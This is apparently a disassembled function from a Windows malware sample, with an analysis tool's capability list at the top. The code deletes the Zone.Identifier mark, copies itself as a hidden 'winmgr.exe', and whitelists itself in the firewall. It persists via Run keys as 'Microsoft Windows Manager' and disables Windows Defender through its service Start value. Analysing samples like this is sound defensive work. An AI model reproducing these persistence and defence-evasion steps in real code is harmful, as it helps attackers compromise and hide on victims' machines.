Function at 0x405470
Capabilities:
Bypass mark of the web
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Delete file
Persist via run registry key
Persist via windows service
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x65c
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.004014b0
movzx eax, al
test eax, eax
jmp 0x40549d
push 0x409168
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [ebp - 0x544], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x4054c7
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 0x104
push 0
lea ecx, [ebp - 0x318]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x428]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x318]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea ecx, [ebp - 0x318]
push ecx
push str._s:Zone.Identifier
push 0x104
lea edx, [ebp - 0x428]
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x10
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov dword [ebp - 0x434], str._windir_
mov dword [ebp - 0x430], str._userprofile_
mov dword [ebp - 0x42c], str._temp_
mov dword [ebp - 0x548], 0
jmp 0x40556d
mov ecx, dword [ebp - 0x548]
add ecx, 1
mov dword [ebp - 0x548], ecx
cmp dword [ebp - 0x548], 3
jae 0x405677
push 0x104
push 0
lea edx, [ebp - 0x210]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x540]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp - 0x548]
mov ecx, dword [ebp + eax*4 - 0x434]
push ecx
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
lea edx, [ebp - 0x210]
push edx
push str._sM_50504508848879876012050406030
push 0x104
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x10
push str.winmgr.exe
lea ecx, [ebp - 0x108]
push ecx
push str._s_s
push 0x104
lea edx, [ebp - 0x540]
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x14
lea eax, [ebp - 0x540]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x405636
jmp 0x405677
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x405656
push 0
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
push 0
lea eax, [ebp - 0x540]
push eax
lea ecx, [ebp - 0x318]
push ecx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
je 0x405672
jmp 0x405677
jmp 0x40555e
lea edx, [ebp - 0x540]
push edx
lea eax, [ebp - 0x318]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
je 0x4058ad
mov dword [ebp - 0x65c], 0
mov dword [ebp - 0x54c], 4
push 0x104
push 0
lea ecx, [ebp - 0x658]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Microsoft_Windows_Manager
lea edx, [ebp - 0x540]
push edx
push str._s::Enabled:_s
push 0x104
lea eax, [ebp - 0x658]
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x14
push 7
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 7
lea edx, [ebp - 0x540]
push edx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0x65c]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405760
lea ecx, [ebp - 0x658]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea edx, [ebp - 0x658]
push edx
push 1
push 0
lea eax, [ebp - 0x540]
push eax
mov ecx, dword [ebp - 0x65c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x65c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x65c]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4057bc
lea ecx, [ebp - 0x540]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea edx, [ebp - 0x540]
push edx
push 1
push 0
push str.Microsoft_Windows_Manager
mov eax, dword [ebp - 0x65c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x65c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x65c]
push edx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405818
lea eax, [ebp - 0x540]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea ecx, [ebp - 0x540]
push ecx
push 1
push 0
push str.Microsoft_Windows_Manager
mov edx, dword [ebp - 0x65c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x65c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x65c]
push ecx
push 0xf003f
push 0
push str.SYSTEMCurrentControlSet_servicesWinDefend_
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405866
push 4
lea edx, [ebp - 0x54c]
push edx
push 4
push 0
push str.Start
mov eax, dword [ebp - 0x65c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x65c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x318]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov dword [ebp - 0x31c], eax
lea eax, [ebp - 0x540]
push eax
call fcn.00403080
add esp, 4
push str.Manager.exe
mov ecx, dword [ebp - 0x31c]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
je 0x4058a5
call fcn.00403640
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 0
push 0
push 0x4023b0
call fcn.00403c60
add esp, 0xc
push 0
push 0
push 0x4028f0
call fcn.00403c60
add esp, 0xc
push 0
push 0
push 0x401530
call fcn.00403c60
add esp, 0xc
push 1
push 0
push 0x405430
call fcn.00403c60
add esp, 0xc
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10